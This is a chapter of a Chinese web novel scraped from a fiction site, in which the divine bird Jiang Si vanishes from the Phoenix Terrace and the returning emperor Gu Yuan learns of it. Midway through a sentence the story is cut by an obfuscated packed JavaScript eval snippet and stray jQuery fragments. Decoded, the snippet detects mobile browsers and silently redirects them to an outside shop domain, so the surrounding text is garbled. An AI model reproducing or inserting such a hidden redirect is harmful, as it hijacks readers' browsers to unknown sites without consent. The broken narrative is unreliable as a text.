文趣网 > 其他小说 > 人皇陛下的贤君指南 > 137. 第一百三十七章:凤去楼空雪飘城……
    绿袖一脸着急道:“相爷,不好了。”

    徐君延忙问道:“怎么了?”

    绿袖是真的急了,她正要开口,却是越急,气越不顺,过了好一会儿,她才缓过气来,说:“鹓雏大人不见了。”

    “啊!”苟总管先惊呼出声。

    徐君延闻此心中“咯噔”一声,面上倒是淡然,他知道这个时候自己不能慌乱。

    很快苟总管也意识到自己有些失态,他整理了自己的情绪,又问道:“绿袖姑姑,到底是怎么回事?”

    “奴婢今早去凤凰台为姜姒大人送早膳,却在台上不见姜姒大人,奴婢只以为姜姒大人在有凤来仪休息,就把食盒放在箫韶亭,先回宫来了。刚才奴婢又去给姜姒大人送午膳和水果,发现亭中的吃食未动。”绿袖说着话,眼睛红了起来。顾渊还有半个月就回来了,如果鹓雏真的不见了,顾渊要追责,她必定会没命。

    绿袖又继续说道:“奴婢喊了几声,不见姜姒大人,奴婢想去有凤来仪看看,但是奴婢身份卑微,不敢贸然进去,怕惊扰了姜姒大人,就想来找月先生。”

    苟总管一拍大腿道:“这可不巧了,月先生昨日说他要闭关十天,让人不得打扰,连膳食都不用送去。”

    听见苟总管说月千歌闭关,绿袖更急了,红着的眼睛哭了出来,她无助哽咽道:“这可怎么办啊?”

    徐君延道:“我去看看。”

    他让苟总管先送绿袖回天辰殿,自己直接就去了凤凰台。

    来到凤凰台,种着的山茶花都开了,那株“十八学士”更是开的风流明艳,雪白的花瓣上的那一抹艳红,像极了姜姒眼睛的朱砂痣,让人见后,目不转睛。

    箫韶亭挂着的竹帘放下,因为入了冬,外层还挂了一层厚厚的帷幔,地面上也铺着厚厚的毛毯。在毛毯上放着四方小桌和靠背的隐囊,桌子上摆着一个食盒,应该是今早绿袖送来的早膳。

    徐君延见亭中没人,又来到有凤来仪。

    有凤来仪是一座二层的小楼,门口挂着一串玉雕的风铃,只要有人靠近,风铃就会发出“叮铃铃”的声音。

    有凤来仪是姜姒的住所,未得允许,没人敢进去,徐君延也只是站在门口。

    但是他知道,姜姒不在里面。

    徐君延将自己的灵力探入,感知到的里面只有姜姒残留的神威,而他并不在楼内。

    鹓雏的神威未消,依旧震慑住南朝的妖兽。

    徐君延不清楚姜姒为何突然不告而别,他让自己的心腹暗地去调查,也嘱咐苟总管和绿袖,不要将姜姒不在凤凰台的事说出去。

    如今苍南国能稍享太平,是因为鹓雏留在了建康,要是让百姓知道鹓雏离开,哪怕他的神威还在凤凰台,百姓还是会恐慌,说不定会出现大乱。

    享受到了世间太平,谁都怕再次回到曾经的血染江山。

    姜姒离开的消息被封锁住了,也就是徐君延他们几人知道,后来月千歌闭关出来,也得知了这事。

    月千歌听后,微微蹙眉,一向云淡风轻的他,此时满脸担忧。

    “神兽本就恣意洒脱,海阔天空都无法留住它们,更何况那座凤凰台。”月千歌说完,轻轻叹了口气。

    徐君延心中沉思,一脸凝重,他怎么能不知道神兽性格,一座凤凰台根本留不住,也知道月千歌说的没错。只是他见有凤来仪中还留有鹓雏的神威,想着姜姒或是因为什么事,所以他暂时离开,可是如今想来,鹓雏本就不被束缚,能有什么事将他留住十多天?而且他日行万里,也不会被路上耽误什么。

    既然这样,那就只剩一种可能,鹓雏真的离开了凤凰台,离开了建康。

    这让徐君延不安起来,不日顾渊就要班师回朝,如果顾渊知道姜姒不告而别,会发什么事,他不敢想象。

    王权的位置,总会将人迷失,顾渊一心想做贤君,可是怒意会蒙住他的内心,更何况他还坐在皇位上。

    权利与愤怒很容易让人忘记初衷,到时候只会在史书上留下一句——天子之怒,伏尸百万,流血千里。

    徐君延脸上难掩担忧,月千歌也是忧心忡忡,他低垂着眼眸,端起一旁桌子上的茶盏。

    月千歌一手端茶,一手掩面,在袖子的遮掩下,他轻轻勾起了嘴角。

    顾渊回朝当天,月千歌换上了国师的官服,他与穿着丞相官服的徐君延都站在城门口。

    他们身后跟着朝中百官,道路两旁站着的神策军手持旌旗,而在神策军的后面则是夹道欢迎的百姓们。

    满城的人都知道今天是顾渊凯旋的日子,路旁的摊贩将摊位收了起来,都挤着身子上前,想要亲眼看看少年帝王得胜大悦的龙颜。

    街边酒楼靠窗的位置,均是座无虚席,一些适龄少女用绣帕掩面,望着窗外的道路,害羞又期盼。

    很快,站在城门口的徐君延和月千歌就看见有大军归来,整齐划一的脚步声无一不在展示苍南国的军力强大。

    为首之人身穿着黑金龙鳞甲,身披龙血披风,头戴凤翅兜鍪,正是凯旋而归的顾渊,他骑着一匹黑色大马,身边是出城迎接的李静。

    李静没有穿他的黄金锁子甲,而是穿着一身暗红色的官服。自从李静交出一部分兵权后,他就连上朝,也是穿官服,再也没有甲胄在身。

    这是李静在追随他出生入死的部下面前,表明他的忠心,他手握兵权,若未得帝令,他的剑不再出鞘,他一切都听从顾渊。

    在顾渊和李静的身后,是一辆红漆镶嵌鎏金凤纹的马车。

    徐君延在看见那辆马车时,他瞳孔猛地收缩,目光紧紧地落在车厢上。

    他很清楚那车厢里坐着的人是谁——

    他朝思暮想的人。

    他亲手送去和亲的人。

    很快,徐君延收回了目光,脸上神色也恢复如常。

    顾渊的大军已经到了城下,徐君延和月千歌率先跪下,随着他们是跪下,身后的百官与满城百姓都齐齐跪下。

    “恭迎陛下,凯旋而归。”

    “恭迎陛下,凯旋而归。”

    “……”

    ……

    回宫后,顾渊直奔他的天辰殿,还未进屋,他就脱去头上的兜鍪,让红叶和绿袖赶紧送热水来,他要先洗个澡。

    他本来是想去凤凰台找姜姒,可自己长途奔波回来,身上太脏了。姜姒喜欢干净,自己这一身尘土去找他,说不定有凤来仪的门还没进,会被他赶了出来。

    顾渊洗完澡,随便穿了一件湛蓝色用银线暗绣龙纹的常服,外面披了一件黑狐领的披风,他头发还未干,就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713008|208415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要去凤凰台。

    绿袖从旁伺候,她想要拦住顾渊,将姜姒失踪之事告诉他,可是徐君延特意叮嘱过,这件事由他来说,绿袖只得一脸急色地站在一旁。红叶比绿袖略沉稳一些,可此时她脸色慌乱,只在顾渊看过来时,她依旧带着笑颜,如往常一样。

    顾渊急着去找姜姒,也没注意这两个丫头的神色不对。

    绿袖有些忍不住了,她冲动着想要开口,还未来得及出声,就感觉手腕一紧。红叶抓紧了她的手腕,见她看了过来,红叶冲着她摇了摇头。

    等顾渊离开后,绿袖这才开口问道:“红叶姐姐,你说陛下要是知道鹓雏大人不见了,会不会责怪我们?”

    红叶道:“别想这么多了。”

    绿袖轻咬着唇,她微微点头,让自己不在乱想。

    顾渊刚出了天辰殿,看见徐君延站在殿门前,似乎是在等自己。

    顾渊玩笑道:“徐相爷,你来错了地方了。”

    今日苍元夕回宫,按理来说,久别重逢,徐君延应该在梅舒宫与苍元夕互诉衷肠才对。

    “陛下,臣有事起奏。”徐君延正色。

    “有事等朕回来再说。”顾渊知徐君延性子,他不会无缘无故来天辰殿等着自己。现在南朝统一,百姓生活安稳,他又刚回朝,应该没有什么急事,所以也不在乎让徐君延多等一会儿,“你还是去梅舒宫陪陪十五姑姑,朕可是依言将她接回来了。”

    说完,顾渊就要离开。

    三年未见,他着实想念那个人。

    顾渊刚走一步,徐君延快步上前,拦在了顾渊面前。

    “臣启奏之事,与姜姒大人有关。”徐君延恭敬行礼。

    顾渊见徐君延拦路,心中有些不悦。他寻思着,朕都把十五公主接回来了,你不去梅舒宫陪你的小青梅,在这里拦着朕干嘛?又在听见徐君延说“与姜姒大人有关”时,顾渊的脚步猛地顿住,他看向徐君延,问道:“什么意思?”

    徐君延一字一顿道:“姜姒大人,不告而别。”

    他话音刚落,就感觉到一股强大的灵压自顾渊身上散发出来。

    徐君延不禁后退了几步,却也被这灵压死死压制着。

    如果这股灵压单单是修为上的灵压压制,徐君延倒是无惧,因为他的修为可比顾渊高。然而这灵压不只是修为上,还带着睥睨天下的王者威仪,极具危险的侵/虐性。

    第一次,他感觉到了恐惧。

    来自帝王威严的恐惧。

    直到顾渊走远,徐君延还暂时不能动弹,他低头喘着气,后背已是冷汗津津。

    好一会儿,他才喘过气来,他没想到顾渊王气的威压会这么厉害。明明顾渊身上的王气那么淡,却能将他压制到难以喘息。

    天边飘起了雪花,这是今年入冬以来,建康下的第一场雪,并不是很大,雪花薄薄一片,六棱的花瓣有些已经碎去。

    徐君延抬起头,朝着凤凰台的方向望去。

    顾渊去了凤凰台。

    他不是不相信自己的话,而是他要亲眼看看。

    凤凰台上的山茶花开的明媚艳丽,即便是白雪皑皑,也能破雪而出,绽放风流,添香中染上一抹嫣红。

    这抹嫣红不只是凤凰台的山茶花,还是姜姒眼角的那滴朱砂。